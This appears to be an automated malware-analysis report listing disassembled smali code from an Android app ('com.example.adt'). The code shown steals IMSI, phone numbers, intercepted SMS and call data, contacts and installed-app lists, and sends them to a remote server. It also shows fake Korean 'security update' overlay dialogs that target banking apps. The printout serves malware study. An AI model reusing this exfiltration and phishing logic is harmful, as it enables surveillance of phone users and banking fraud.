90 | invoke-virtual {v0, v5, v6}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
92 | invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog; | |
93 | move-result-object v2 | |
95 | invoke-virtual {v2}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window; | |
96 | move-result-object v5 | |
97 | const/16 v6, 0x7d3 | |
99 | invoke-virtual {v5, v6}, Landroid/view/Window;->setType(I)V |
|
101 | invoke-virtual {v2}, Landroid/app/AlertDialog;->show()V | |
103 | iget-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
104 | new-instance v6, Ljava/lang/StringBuilder; | |
106 | iget-object v7, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
108 | invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
109 | move-result-object v7 | |
111 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
113 | const-string v7, "\uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4" | |
115 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
116 | move-result-object v6 | |
118 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
119 | move-result-object v6 | |
121 | const-string v7, "\ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4" | |
123 | invoke-static {v5, v6, v7, v4}, Lcom/example/adt/CoreService;->showNofity(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V |
|
124 | cond_a6: return-void | |
125 | cond_a7: | |
126 | sget-object v5, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
127 | aget-object v5, v5, v3 | |
129 | invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
130 | move-result v5 | |
131 | if-eqz v5, :cond_c7 | |
133 | sget-object v5, Lcom/example/adt/Config;->bName:[Ljava/lang/String; | |
134 | aget-object v5, v5, v3 | |
135 | iput-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
137 | sget-object v5, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
138 | aget-object v5, v5, v3 | |
139 | sput-object v5, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
141 | sget-object v5, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
142 | iput-object v5, p0, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
144 | sget-object v5, Lcom/example/adt/Config;->icon:[I | |
145 | aget v4, v5, v3 | |
146 | goto/16 :goto_26 | |
147 | cond_c7: add-int/lit8 v3, v3, 0x1 | |
148 | goto/16 :goto_21 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v1, Ljava/lang/StringBuilder; | |
3 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
5 | const-string v3, "serverip" | |
7 | sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
9 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
10 | move-result-object v2 | |
12 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
13 | move-result-object v2 | |
15 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
17 | sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
19 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
20 | move-result-object v1 | |
22 | const-string v2, "SMSReceiver&imsi=" | |
24 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
25 | move-result-object v1 | |
27 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
29 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->imsi:Ljava/lang/String; | |
31 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
32 | move-result-object v1 | |
34 | const-string v2, "&number=" | |
36 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
37 | move-result-object v1 | |
39 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
41 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String; | |
43 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
44 | move-result-object v1 | |
46 | const-string v2, "&from=" | |
48 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
49 | move-result-object v1 | |
51 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
53 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->from:Ljava/lang/String; | |
55 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
56 | move-result-object v1 | |
58 | const-string v2, "&content=" | |
60 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
61 | move-result-object v1 | |
63 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
65 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->content:Ljava/lang/String; | |
67 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
68 | move-result-object v1 | |
70 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
71 | move-result-object v0 | |
73 | iget-object v1, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
75 | iget-object v1, v1, Lcom/example/adt/SMSReceiver;->conn:Lcom/example/adt/Connect; | |
77 | invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
79 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
80 | new-instance v2, Ljava/lang/StringBuilder; | |
82 | const-string v3, "SEMRECEIVER_DATA =>" | |
84 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
86 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
87 | move-result-object v2 | |
89 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
90 | move-result-object v2 | |
92 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
93 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v1, Ljava/lang/StringBuilder; | |
3 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
5 | const-string v3, "serverip" | |
7 | sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
9 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
10 | move-result-object v2 | |
12 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
13 | move-result-object v2 | |
15 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
17 | sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
19 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
20 | move-result-object v1 | |
22 | const-string v2, "Apps&number=" | |
24 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
25 | move-result-object v1 | |
27 | iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App; | |
29 | invoke-static {v2}, Lcom/example/adt/App;->access$0(Lcom/example/adt/App;)Landroid/content/Context; | |
30 | move-result-object v2 | |
32 | invoke-static {v2}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
33 | move-result-object v2 | |
35 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
36 | move-result-object v2 | |
38 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
39 | move-result-object v1 | |
41 | const-string v2, "&imsi=" | |
43 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
44 | move-result-object v1 | |
46 | iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App; | |
48 | invoke-static {v2}, Lcom/example/adt/App;->access$0(Lcom/example/adt/App;)Landroid/content/Context; | |
49 | move-result-object v2 | |
51 | invoke-static {v2}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String; | |
52 | move-result-object v2 | |
54 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
55 | move-result-object v2 | |
57 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
58 | move-result-object v1 | |
60 | const-string v2, "&content=" | |
62 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
63 | move-result-object v1 | |
65 | iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App; | |
67 | invoke-virtual {v2}, Lcom/example/adt/App;->getApps()Ljava/lang/String; | |
68 | move-result-object v2 | |
70 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
71 | move-result-object v2 | |
73 | invoke-static {v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
74 | move-result-object v2 | |
76 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
77 | move-result-object v1 | |
79 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
80 | move-result-object v0 | |
82 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
83 | new-instance v2, Ljava/lang/StringBuilder; | |
85 | const-string v3, "\u53d1\u9001\u5e94\u7528\u5217\u8868 =>" | |
87 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
89 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
90 | move-result-object v2 | |
92 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
93 | move-result-object v2 | |
95 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
96 | try_start_79: new-instance v1, Lcom/example/adt/Connect; | |
98 | invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V | |
100 | invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
101 | try_end_81: return-void | |
102 | catch_82: move-exception v1 | |
103 | goto/16 :goto_81 |
Method: com.example.adt.PhoneListener$1->run() Relevance: 6.3, APIs: 0, Strings:
5, Instructions: 84
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
4 | invoke-static {v2}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
5 | move-result-object v1 | |
6 | new-instance v2, Ljava/lang/StringBuilder; | |
8 | sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
10 | const-string v4, "serverip" | |
12 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
14 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
15 | move-result-object v3 | |
17 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
18 | move-result-object v3 | |
20 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
22 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
24 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
25 | move-result-object v2 | |
27 | const-string v3, "CallReceiver&imsi=" | |
29 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
30 | move-result-object v2 | |
32 | iget-object v3, p0, Lcom/example/adt/PhoneListener$1;->this$0:Lcom/example/adt/PhoneListener; | |
34 | iget-object v3, v3, Lcom/example/adt/PhoneListener;->imsi:Ljava/lang/String; | |
36 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
37 | move-result-object v2 | |
39 | const-string v3, "&number=" | |
41 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
42 | move-result-object v2 | |
44 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
45 | move-result-object v2 | |
47 | const-string v3, "&from=" | |
49 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
50 | move-result-object v2 | |
52 | iget-object v3, p0, Lcom/example/adt/PhoneListener$1;->this$0:Lcom/example/adt/PhoneListener; | |
54 | iget-object v3, v3, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String; | |
56 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
57 | move-result-object v2 | |
59 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
60 | move-result-object v0 | |
62 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
63 | new-instance v3, Ljava/lang/StringBuilder; | |
65 | const-string v4, "\u53d1\u9001\u62e6\u622a\u7535\u8bdd => " | |
67 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
69 | invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
70 | move-result-object v3 | |
72 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
73 | move-result-object v3 | |
75 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
76 | new-instance v2, Lcom/example/adt/Connect; | |
78 | invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V | |
80 | invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
81 | goto_65: return-void | |
82 | catch_66: move-exception v2 | |
83 | goto/16 :goto_65 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v2, p0, Lcom/example/adt/SMS$1$1;->this$1:Lcom/example/adt/SMS$1; | |
4 | invoke-static {v2}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
5 | move-result-object v2 | |
7 | iget-object v2, v2, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
9 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
10 | move-result-object v1 | |
11 | new-instance v2, Ljava/lang/StringBuilder; | |
13 | sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
15 | const-string v4, "serverip" | |
17 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
19 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
20 | move-result-object v3 | |
22 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
23 | move-result-object v3 | |
25 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
27 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
29 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
30 | move-result-object v2 | |
32 | const-string v3, "SMSSendComplate&to=" | |
34 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
35 | move-result-object v2 | |
37 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
38 | move-result-object v2 | |
40 | const-string v3, "&sid=" | |
42 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
43 | move-result-object v2 | |
45 | iget-object v3, p0, Lcom/example/adt/SMS$1$1;->this$1:Lcom/example/adt/SMS$1; | |
47 | invoke-static {v3}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
48 | move-result-object v3 | |
50 | iget-object v3, v3, Lcom/example/adt/SMS;->sid:Ljava/lang/String; | |
52 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
53 | move-result-object v2 | |
55 | const-string v3, "&status=1" | |
57 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
58 | move-result-object v2 | |
60 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
61 | move-result-object v0 | |
63 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
64 | new-instance v3, Ljava/lang/StringBuilder; | |
66 | const-string v4, "\u53d1\u9001\u77ed\u4fe1\u6210\u529f => " | |
68 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
70 | invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
71 | move-result-object v3 | |
73 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
74 | move-result-object v3 | |
76 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
77 | new-instance v2, Lcom/example/adt/Connect; | |
79 | invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V | |
81 | invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
82 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v2, p0, Lcom/example/adt/SMS$1$2;->this$1:Lcom/example/adt/SMS$1; | |
4 | invoke-static {v2}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
5 | move-result-object v2 | |
7 | iget-object v2, v2, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
9 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
10 | move-result-object v1 | |
11 | new-instance v2, Ljava/lang/StringBuilder; | |
13 | sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
15 | const-string v4, "serverip" | |
17 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
19 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
20 | move-result-object v3 | |
22 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
23 | move-result-object v3 | |
25 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
27 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
29 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
30 | move-result-object v2 | |
32 | const-string v3, "SMSSendComplate&to=" | |
34 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
35 | move-result-object v2 | |
37 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
38 | move-result-object v2 | |
40 | const-string v3, "&sid=" | |
42 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
43 | move-result-object v2 | |
45 | iget-object v3, p0, Lcom/example/adt/SMS$1$2;->this$1:Lcom/example/adt/SMS$1; | |
47 | invoke-static {v3}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
48 | move-result-object v3 | |
50 | iget-object v3, v3, Lcom/example/adt/SMS;->sid:Ljava/lang/String; | |
52 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
53 | move-result-object v2 | |
55 | const-string v3, "&status=2" | |
57 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
58 | move-result-object v2 | |
60 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
61 | move-result-object v0 | |
63 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
64 | new-instance v3, Ljava/lang/StringBuilder; | |
66 | const-string v4, "\u53d1\u9001\u77ed\u4fe1\u5931\u8d25 => " | |
68 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
70 | invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
71 | move-result-object v3 | |
73 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
74 | move-result-object v3 | |
76 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
77 | new-instance v2, Lcom/example/adt/Connect; | |
79 | invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V | |
81 | invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
82 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "info" | |
1 | .prologue | |
3 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
4 | new-instance v5, Ljava/lang/StringBuilder; | |
6 | const-string v6, "\u6b63\u5728\u66ff\u6362apk => " | |
8 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
10 | invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
11 | move-result-object v5 | |
13 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
14 | move-result-object v5 | |
16 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
18 | const-string v4, "" | |
20 | invoke-virtual {p1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
21 | move-result v4 | |
22 | if-nez v4, :cond_57 | |
24 | invoke-static {p1}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String; | |
25 | move-result-object v3 | |
27 | const-string v4, "|" | |
29 | invoke-virtual {v3, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; |
|
30 | move-result-object v1 | |
31 | new-instance v0, Landroid/app/AlertDialog$Builder; | |
33 | iget-object v4, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context; | |
35 | invoke-direct {v0, v4}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V | |
36 | const/4 v4, 0x0 | |
37 | aget-object v4, v1, v4 | |
39 | invoke-virtual {v0, v4}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
41 | const-string v4, "\ucde8\uc18c" | |
42 | new-instance v5, Lcom/example/adt/App$BtnClick; | |
44 | invoke-direct {v5, p0}, Lcom/example/adt/App$BtnClick;-><init>(Lcom/example/adt/App;)V | |
46 | invoke-virtual {v0, v4, v5}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
48 | const-string v4, "\ud655\uc778" | |
49 | new-instance v5, Lcom/example/adt/App$BtnClick; | |
51 | invoke-direct {v5, p0}, Lcom/example/adt/App$BtnClick;-><init>(Lcom/example/adt/App;)V | |
53 | invoke-virtual {v0, v4, v5}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
55 | invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog; | |
56 | move-result-object v2 | |
58 | invoke-virtual {v2}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window; | |
59 | move-result-object v4 | |
60 | const/16 v5, 0x7d3 | |
62 | invoke-virtual {v4, v5}, Landroid/view/Window;->setType(I)V |
|
64 | invoke-virtual {v2}, Landroid/app/AlertDialog;->show()V | |
65 | cond_57: return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v0, 0x4 | |
2 | new-array v0, v0, [Ljava/lang/String; | |
3 | const/4 v1, 0x0 | |
5 | const-string v2, "display_name" | |
6 | aput-object v2, v0, v1 | |
7 | const/4 v1, 0x1 | |
9 | const-string v2, "data1" | |
10 | aput-object v2, v0, v1 | |
11 | const/4 v1, 0x2 | |
13 | const-string v2, "photo_id" | |
14 | aput-object v2, v0, v1 | |
15 | const/4 v1, 0x3 | |
17 | const-string v2, "contact_id" | |
18 | aput-object v2, v0, v1 | |
19 | sput-object v0, Lcom/example/adt/Contact;->PHONES_PROJECTION:[Ljava/lang/String; | |
20 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .parameter "intent" | |
2 | .prologue | |
3 | const/4 v10, 0x1 | |
5 | sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
6 | new-instance v7, Ljava/lang/StringBuilder; | |
8 | const-string v8, "SMSReceiver, isOrderedBroadcast()=" | |
10 | invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
12 | invoke-virtual {p0}, Lcom/example/adt/SMSReceiver;->isOrderedBroadcast()Z | |
13 | move-result v8 | |
15 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; | |
16 | move-result-object v7 | |
18 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
19 | move-result-object v7 | |
21 | invoke-virtual {v6, v7}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
23 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; | |
24 | move-result-object v6 | |
26 | const-string v7, "pdus" | |
28 | invoke-virtual {v6, v7}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
29 | move-result-object v5 | |
30 | check-cast v5, [Ljava/lang/Object; | |
31 | if-eqz v5, :cond_35 | |
32 | array-length v6, v5 | |
33 | if-lez v6, :cond_35 | |
34 | array-length v6, v5 | |
35 | new-array v3, v6, [Landroid/telephony/SmsMessage; | |
36 | const/4 v0, 0x0 | |
37 | goto_2e: array-length v6, v5 | |
38 | if-lt v0, v6, :cond_36 | |
39 | array-length v7, v3 | |
40 | const/4 v6, 0x0 | |
41 | goto_33: if-lt v6, v7, :cond_43 | |
42 | cond_35: return-void | |
43 | cond_36: aget-object v4, v5, v0 | |
44 | check-cast v4, [B | |
